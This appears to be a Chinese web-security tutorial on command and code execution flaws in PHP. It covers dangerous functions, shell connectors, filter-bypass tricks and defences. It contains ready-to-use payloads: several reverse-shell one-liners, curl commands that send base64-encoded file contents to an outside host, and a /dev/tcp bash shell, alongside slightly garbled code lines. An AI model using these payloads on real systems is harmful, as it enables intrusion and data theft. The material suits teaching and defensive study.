WEB常见漏洞之命令执行(基础原理篇)

简介: WEB常见漏洞之命令执行(基础原理篇)

0x01 漏洞概述

命令执行漏洞就是服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。为什么客户端能直接对服务器执行命令呢,因为在服务器安装的web程序,web框架和web组件等外部程序有时候需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,就会使得用户通过外部程序直接编写和执行系统的命令函数

如PHP中的system()、exec()、shell_exec()、passthru()、popen()、proc_popen()等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击

漏洞利用条件

  1. 用户能够控制的函数输入
  2. 存在可以执行代码或者系统命令的危险函数

漏洞产生原因

1.没有对用户输入进行过滤或过滤不严 例如,没有过滤 &、&&、| 、||等连接符

2.系统漏洞造成的命令执行 bash 破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到 bash 交互的多种应用,如 http、ssh 和 dhcp 等

3.调用的第三方组件存在代码执行漏洞 例如:php(system()、shell_exec()、exec()、eval() JAVA 中的命令执行漏洞(struts2/ElasticsearchGroovy等) ThinkPHP命令执行

0x02 常见危险函数

PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec

(1)system

该函数会把执行结果输出

并把输出结果的最后一行作为字符串返回

如果执行失败则返回false

这个也最为常用

<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>

(2)exec

不输出结果

返回执行结果的最后一行

可以使用output进行输出

<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>

(3)passthru

此函数只调用命令

并把运行结果原样地直接输出

没有返回值。

<?php
highlight_file(__FILE__);
passthru('ls');
?>

(4)shell_exec

不输出结果,返回执行结果

使用反引号(``)时调用的就是此函数

<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>

(5)ob_start

此函数将打开输出缓冲

当输出缓冲激活后,脚本将不会输出内容(除http标头外)

相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中
想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数
另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容

<?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>

命令连接符

Windows和Linux都支持的命令连接符:

cmd1 | cmd2 只执行cmd2
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux还支持分号;


cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2

0x03 代码执行漏洞

由于服务器对危险函数过滤不严

导致用户输入的一些字符串可以被转换成代码来执行

从而造成代码执行漏洞

成因

1.用户能够控制函数输入

2.存在可执行代码的危险函数

常见代码执行函数

PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec

常用代码执行函数

(1)${}执行代码

中间的php代码将会被解析

<?php
${phpinfo()};
?>

(2)eval

将字符串当做函数进行执行

需要传入一个完整的语句

必须以分号 ; 结尾

最常用的函数

<?php
eval('echo "hello";');
?>

(3)assert

判断是否为字符串

是则当成代码执行

在php7.0.29之后的版本不支持动态调

低版本
<?php 
assert($_POST['a']);
?>
7.0.29之后
<?php
$a = 'assert';
$a(phpinfo());
?>

(4)preg_replace

用来执行一个正则表达式的搜索和替换

执行代码需要使用/e修饰符

前提是不超过php7


mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

$pattern: 正则表达式匹配的内容

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

    <?php
    preg_replace("/pat/e", $_GET['reg'], 'my pat');
    ?>

    (5)create_function

    用来创建匿名函数


    create_function(string $args,string $code
      args是要创建的函数的参数
      code是函数内的代码

      一个demo

      <?php
      error_reporting(0);
      $sort_by = $_GET['sort_by'];
      $sorter = 'strnatcasecmp';
      $databases=array('1234','4321');
      $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
      usort($databases, create_function('$a, $b', $sort_function));
      ?

      payload


      ?sort_by="]);}phpinfo();/*

      (6)array_map

      为数组的每个元素应用回调函数

      <?php
      highlight_file(__FILE__);
      $a = $_GET['a'];
      $b = $_GET['b'];
      $array[0] = $b;
      $c = array_map($a,$array);
      ?>

      payload


      ?a=assert&b=phpinfo();

      (7)call_user_func

      回调函数,可以使用is_callable查看是否可以进行调用


      mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

      第一个参数 callback 是被调用的回调函数

      其余参数是回调函数的参数

      <?php
      highlight_file(__FILE__);
      $a = 'system';
      $b = 'pwd';
      call_user_func($a,$b);
      call_user_func('eval','phpinfo()');
      ?>

      (8)call_user_func_array

      回调函数,参数为数组


      mixed call_user_func_array ( callable $callback , array $param_arr )

      第一个参数作为回调函数(callback)调用

      把参数数组作(param_arr)为回调函数的的参数传入

        <?ph
        phighlight_file(__FILE__);
        $array[0] = $_POST['a'];
        call_user_func_array("assert",$array);
        ?>

        (9)array_filter


        array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

        依次将 array 数组中的每个值传递到 callback 函数

        如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中

        数组的键名保留不变

          <?php
          highlight_file(__FILE__);
          $array[0] = $_GET['a'];
          array_filter($array,'assert');
          ?>

          (10)usort

          使用自定义函数对数组进行排序


          bool usort ( array &$array , callable $value_compare_func )

          本函数将用用户自定义的比较函数对一个数组中的值进行排序

          如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数

            <?php
            highlight_file(__FILE__);
            usort(...$_GET);      php5.6以上的写法
            #usort($_GET[1],'assert');  php5.6可用
            ?

            payload


            1[]=phpinfo()&1[]=123&2[]=assert

            命令执行与代码执行的区别

            代码执行:执行效果完全依赖于语言本身

            命令执行:执行效果不受语言本身、命令本身的限制

            0x04 常用命令拼接符号

            Windows支持的管道符

            常见分隔符

              换行符 %0a
              回车符 %0d连
              续指令 ;后
              台进程 &
              管道符 |
              逻辑 ||、&&

              1. "|":直接执行后面的语句

              格式:命令1|命令2…命令n

              规则:当命令1执行成功时才执行命令2,如果命令1未执行成功则不会执行命令2

              示例:

              命令1执行成功,执行命令2

              2. "||":如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假

              格式:命令1||命令2…命令n

              规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2

              示例:

              命令1错误,命令2成功执行

              命令1成功,命令2不执行

              3. "&":如果前面的语句执行为错则直接执行后面的语句,此时后面语句无论真假整个语句都是假

              格式:命令1&命令2…命令n
              规则:命令1和命令2一起执行,互不影响
              示例:

              4."&&":如果前面的语句为假则直接出错,不执行后面的语句,前面语句只能为真

              格式:命令1&&命令2…命令n
              规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
              示例:

              Linux系统支持的管道符

              1.";":执行完前面的语句再执行后面的

              格式:命令1;命令2…命令n
              规则:隔开多条shell命令一起执行
              示例:
              通过;执行多条命令

              2."|":显示后面语句的执行结果

              格式:命令1|命令2…命令n
              规则:隔开多条shell命令,只执行最后一个
              示例:
              通过|执行最后一条命令(命令执行时,Linux和Windows系统一样)

              3."||":当前面的语句执行出错时。执行后面的语句

              格式:命令1||命令2…命令n
              规则:隔开多条shell命令,只执行第一个
              示例:
              通过||执行第一条命令,如果第一个命令出错,则向后执行(命令执行时,Linux和Windows系统一样)

              4."&":如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假

              格式:命令1&命令2…命令n
              规则:隔开多条shell命令,只执行第一个
              示例:
              通过&任务放到后台执行。看下图,输出多了一串数字,这个数字就是进程 ID。在 Linux 系统中运行的每一个进程都有一个唯一的进程 ID,可以使用进程 ID 来暂停、恢复或者终止对应的进程(命令执行时,LinuxWindows系统一样)

              5."&&":如果前面的语句为假,则直接出错,不执行后面的语句,前面的语句只能为真(命令执行时,Linux和Windows系统一样)

              0x05 常见绕过姿势(Linux)

              空格绕过

              <  --  重定向,如cat<flag.php
              <>      --   重定向,如cat<>flag.php
              %09  --  需要php环境,如cat%09flag.php
              ${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
              $IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

              使用转义符号

                ca\t /fl\ag
                cat fl''ag

                利用拼接绕过

                  a=c;b=at;c=flag;$a$b $c
                  a=c;b=at;c=heb;d=ic;ab{c}{d}

                  利用编码绕过

                  base64编码

                    echo MTIzCg==|base64 -d 其将会打印123
                    echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

                    hex编码


                    echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

                    单引号、双引号绕过

                      ca''t flag 或ca""t flag
                      ca''t te""st.php

                      反斜杠绕过

                        ca\t fl\ag
                        cat te\st.php

                        绕过IP句点

                        网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
                        可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
                        在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP

                        在线工具:


                        http://www.msxindl.com/tools/ip/ip_num.asp --数字转IP

                        利用Linux换行执行

                        例如想要获取 flag.txt 中的内容,需要 cat flag.txt 命令

                        利用通配符获取内容

                        linux

                        ?可以匹配一个字符
                        *可以匹配很多字符

                        3. 绕过长度限制

                        利用 > 符号创建文件


                        >flag.txt

                        通过 > 将命令结果存入文件中


                        echo "hello hacker" > flag.txt

                        >> 符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容


                        echo "hello hacker" >> flag.txt


                        
                                 

                        反向连接(Reverse Shell)的各类技术方法

                        - ; rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f
                        - ; perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
                        - ; python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
                        - ; php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’
                        - ; ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'

                        一些场景应用

                        1、无任何过滤或简单过滤

                        ▪http://192.168.80.30/medium.php?name=%0acat flag.php
                        ▪http://192.168.80.30/medium.php?name=$(cat flag.php)

                        2、过滤了;,|,&,`

                        ▪http://192.168.80.30/high.php?name=$(cat<flag.php)
                        ▪http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)

                        3、过滤了;,|,&,`,\s

                        ▪http://192.168.80.30/high.php?name=$(cat<flag.php)
                        ▪http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)

                        4、过滤了关键词,比如cat

                        ▪http://192.168.80.30/low.php?name=;c''at flag.php
                        ▪http://192.168.80.30/low.php?name=;c\at flag.php
                        ▪http://192.168.80.30/low.php?name=;c$@at flag.php
                        ▪http://192.168.80.30/high.php?name=$(c\at<flag.php)
                        ▪http://192.168.80.30/high.php?name=$(tac<flag.php)
                        ▪http://192.168.80.30/high.php?name=$(more<flag.php)
                        ▪http://192.168.80.30/high.php?name=$(tail<flag.php)

                        5、页面无命令结果的回显

                        ▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64`
                        ▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`
                        ▪http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
                        ▪http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
                        ▪http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

                        0x06 常见linux命令

                        ls命令

                        ls -a 列出文件下所有的文件,包括以“.“开头的隐藏文件(linux下文件隐藏文件是以.开头的,如果存在..代表存在着父目录)。
                        ls -l 列出文件的详细信息,如创建者,创建时间,文件的读写权限列表等等。
                        ls -F 在每一个文件的末尾加上一个字符说明该文件的类型。"@"表示符号链接、"|"表示FIFOS、"/"表示目录、"="表示套接字。
                        ls -s 在每个文件的后面打印出文件的大小。size(大小)
                        ls -t 按时间进行文件的排序 Time(时间)
                        ls -A 列出除了"."和".."以外的文件。
                        ls -R 将目录下所有的子目录的文件都列出来,相当于我们编程中的“递归”实现
                        ls -L 列出文件的链接名。Link(链接)
                        ls -S 以文件的大小进行排序

                        读文件命令

                        cat--由第一行开始显示内容,并将所有内容输出
                        tac--从最后一行倒序显示内容,并将所有内容输出
                        more-- 根据窗口大小,一页一页的现实文件内容
                        less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
                        head-- 只显示头几行
                        tail --只显示最后几行
                        nl --类似于cat -n,显示时输出行号
                        tailf-- 类似于tail -f
                        vim --使用vim工具打开文本
                        vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

                        0x07 漏洞防御

                        1.尽量使用自定义函数或函数库实现外部应用程序命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。

                        2.参数的值尽量使用引号包括,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、htmlentities 、mysql_real_escape_string)

                        3.在进入执行命令函数前进行严格的检测和过滤以及对敏感字符进行转义

                          如:cat、tail、find、echo、tar等等
                          如:|、||、&、;、<、>、$等
                          目录
                          相关文章
                          |
                          3月前
                          |
                          SQL 云安全 安全
                          常见的web漏洞,网站漏洞该怎么办
                          随着互联网的发展,网站安全成为企业和个人关注焦点,尤其网站漏洞可能导致数据泄露、系统崩溃等严重后果。本文介绍了四种常见网站漏洞:XSS、SQL注入、文件包含和CSRF,以及它们的危害。为解决这些问题,建议加强代码审查、输入验证、使用安全API和库、访问控制等措施。此外,德迅云安全的漏洞扫描VSS服务可在Web漏洞扫描、弱密码扫描和中间件扫描等场景中发挥作用,帮助企业及时发现并处理安全问题,保障网站安全。
                          |
                          21天前
                          |
                          安全 Unix Shell
                          web安全之命令执行
                          应用未对用户输入做严格得检查过滤,导致用户输入得参数被当成命令来执行。
                          37 4
                          |
                          3天前
                          |
                          存储 NoSQL 关系型数据库
                          Web中的数据库:原理、应用与代码实现
                          Web中的数据库:原理、应用与代码实现
                          |
                          1月前
                          |
                          存储 安全 JavaScript
                          Web漏洞挖掘:XSS与CSRF防护策略
                          【7月更文挑战第11天】XSS和CSRF作为Web应用中常见的安全漏洞,对系统安全构成了严重威胁。通过实施上述防护策略,可以有效减少这些漏洞的风险。然而,Web安全攻防是一个持续不断的过程,开发者需要持续关注应用的安全性,更新和修补安全漏洞,同时加强自身的安全意识和防范技能,以确保Web应用的安全性和稳定性。
                          |
                          2月前
                          |
                          搜索推荐 Java 数据库连接
                          探索Java Web开发:Servlet与JSP的协同工作原理
                          【6月更文挑战第23天】Java Web开发中,Servlet和JSP协同打造动态网站。Servlet是服务器端的Java程序,处理HTTP请求并执行复杂逻辑;JSP则结合HTML和Java,生成动态内容。Servlet通过`doGet()`等方法响应请求,JSP在首次请求时编译成Servlet。两者常搭配使用,Servlet处理业务,JSP专注展示,通过`RequestDispatcher`转发实现数据渲染。这种组合是Java Web应用的基础,即使新技术涌现,其价值仍然重要,为开发者提供了强大的工具集。
                          35 7
                          |
                          1月前
                          |
                          中间件 API 开发者
                          深入理解Python Web框架:中间件的工作原理与应用策略
                          【7月更文挑战第19天】Python Web中间件摘要:**中间件是扩展框架功能的关键组件,它拦截并处理请求与响应。在Flask中,通过`before_request`和`after_request`装饰器模拟中间件行为;Django则有官方中间件系统,需实现如`process_request`和`process_response`等方法。中间件用于日志、验证等场景,但应考虑性能、执行顺序、错误处理和代码可维护性。
                          40 0
                          |
                          3月前
                          |
                          XML 网络协议 Java
                          XML Web 服务技术解析:WSDL 与 SOAP 原理、应用案例一览
                          XML Web服务是基于WSDL、SOAP、RDF和RSS等标准的网络应用程序组件技术。WSDL描述服务接口和消息格式,SOAP用于结构化信息交换,RDF描述网络资源,RSS则用于发布网站更新。Web服务特点是自包含、自描述,基于开放协议,可重用且能连接现有软件。WSDL文档包含`types`、`message`、`portType`和`binding`元素,定义服务操作和协议。SOAP协议规定消息格式,通过HTTP等传输。
                          519 1
                          |
                          3月前
                          |
                          机器学习/深度学习 SQL 人工智能
                          Web LLM 实验:利用 LLM API 实现命令注入
                          Web LLM 实验:利用 LLM API 实现命令注入
                          |
                          3月前
                          |
                          XML 云安全 安全
                          了解常见的web漏洞-XXE漏洞,日常如何做好web安全
                          随着网络技术的不断发展,网站安全问题日益受到人们的关注。当前随着技术发展,网站存在一些常见的可能被攻击者利用的漏洞,而在众多网站安全漏洞中,XXE(XML External Entity)漏洞是一个不容忽视的问题。今天我们就来分享了解一下关于XXE漏洞的概念、原理以及日常上有哪些可以措施可以防护网站安全。
                          |
                          3月前
                          |
                          网络协议 网络虚拟化
                          网工配置命令总结(1)---Web访问及vlan配置
                          网工配置命令总结(1)---Web访问及vlan配置
                          44 0